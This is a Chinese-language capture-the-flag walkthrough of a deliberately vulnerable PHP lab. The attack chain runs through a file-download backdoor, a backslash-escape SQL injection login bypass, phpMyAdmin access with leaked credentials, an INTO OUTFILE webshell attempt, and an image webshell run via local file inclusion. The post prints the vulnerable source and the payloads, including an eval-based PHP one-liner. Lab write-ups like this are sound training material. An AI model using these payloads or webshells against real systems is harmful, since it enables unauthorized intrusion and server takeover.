记录一次打靶场
第一个flag
开启环境,我们看到这样的界面: 我们首先通过Network抓包,看一下背景图片内部有无信息。 经过010Editor和exiftool分析,发现内部并没有很明显的隐藏信息。
我们考虑使用dirb对网站目录进行扫描 发现在根目录下面,有/images和/www这两个值得关注的虚拟路径。 于是访问/images,此时显示forbidden: 除此之外,还有robots.txt文件,我们尝试访问该文件: 发现一个flag1,明显不是正确的flag。
第二个flag
我们继续追踪/www/路径,使用dirsearch进行扫描:
我们先追踪第一个路径,名字为add.php
从这个页面没有发现什么东西,只有一个上传的入口,一张POST表单。没有其他的路径信息,不知道上传成功与否,路径更是无处得知。 使用简单的xss和注入探测均失效,决定更换入口。 接着查看head.php,这张界面更是啥都没有,只一张图片。继续更换入口。 访问/www/images路径,再次没有权限: 我们直接进入index.php:
发现是一个登录页面,查看源码: 仍然是POST表单,手动SQL注入探测无果。我将其暂时搁置一边,希望能从哪里得到相关的注入信息。
我们接着查看test.php,该页面有一句提示: 说是file参数需要传参,我们尝试GET和POST方式传入:file=test.php 使用POST方式传入该键值对时,发现有文件下载。看到文件为传入的value: 那么我们知到这是一个可以进行文件下载的后门,接下来就是把所有已知路径都下载下来,查看源码。 我们首先查看了index.php
<?php
session_start();
include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
$_SESSION['logged']='';
}
if($_SESSION['logged']==true && $_SESSION['admin']!='')
{
echo "you are logged in :)";
header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;"><br><br><br>
<font size=8 face="comic sans ms">[----====[[ Who am I ]]====----]</font>
<br><br>
Show me your skills <br>
<form method=post>
<br><br>
Username : <Input type=text name=un>   Password : <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];
header('Location: panel.php', true, 302);
}
else
{
echo "<script>alert('Try again');</script>";
}
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 1px 1px 5px;\">Powered By CMS <font color=#ff9933>Pirates</font> ";
?>
此处看到想要执行到mysqli_query(),需要绕过过滤,注入run语句。 这里给出构造方式:password=\ ,username= or 1=1 –
构造原理是利用了在Mysql中,字符串内的:’ 会被转义为字符 ‘,我们将pass后面直到 and uname=的部分当作一段字符串,在最后接上 or 1=1 –
登录成功
我们看到该页面包含了c.php和head.php两个页面,此时看到c.php:
<?php
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
ini_set( 'session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","whoami","whoami_hacker","ica_lab");
if (mysqli_connect_errno())
{
echo "connection failed -> " . mysqli_connect_error();
}
有登录mysql的用户名: whoami,密码: whoami_hacker 我们前往/www/phpmy/页面,使用这组用户名密码尝试登录: (居然真登进去了
在ica_lab 中看到flag库: 这就是第二个flag。 也是错的
第三个flag
我们尝试直接在库中执行:
select "<?php @eval($_POST['hack']);?>" INTO OUTFILE '/var/www/html/www/shell.php';
直接权限不够… 那肯定至少是没有mysql_file权限,直接放弃继续操作该数据库。
在index.php登录后,我们来到panel.php界面
<?php
session_start();
include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
header('Location: index.php', true, 302);
exit();
}
echo "Welcome to whoami ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
unset($_SESSION['logged']);
unset($_SESSION['admin']);
header('Location: index.php', true, 302);
}
echo '<hr><br>';
echo '<form method=post>
<select name=load>
<option value="show">Show Users</option>
<option value="add">Add User</option>
</select>
 <input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
if(isset($_POST['upload']))
{
$name=mysqli_real_escape_string($conn,$_POST['name']);
$address=mysqli_real_escape_string($conn,$_POST['address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);
if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);
}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>only png,jpg and gif file are allowed";
}
}
}
这时候需要满足:
1. 没有POST[‘lg’]
2. 设置POST[‘continue’]非空
3. 设置POST[‘load’]=文件包含路径
即可实现文件包含
我们考虑图片包含小马来getshell 看到可以通过Add Users向/www/uploaded_images/里面添加图片,我们制作图片马,名为good.jpg,直接上传到目录下。 上传的为php母马,小马原本定向到/www/下,但是试了几次没有成功,考虑是权限的问题,故将生育路径该为/www/uploaded_images/shell.php 使用hackbar构造payload:
continue=1&load=uploaded_images/good.jpg
此时访问 /www/uploaded_images/muma.php
看到小马已存在 钥匙为hack,直接菜刀连接:
得到最终flag。 提交正确。
|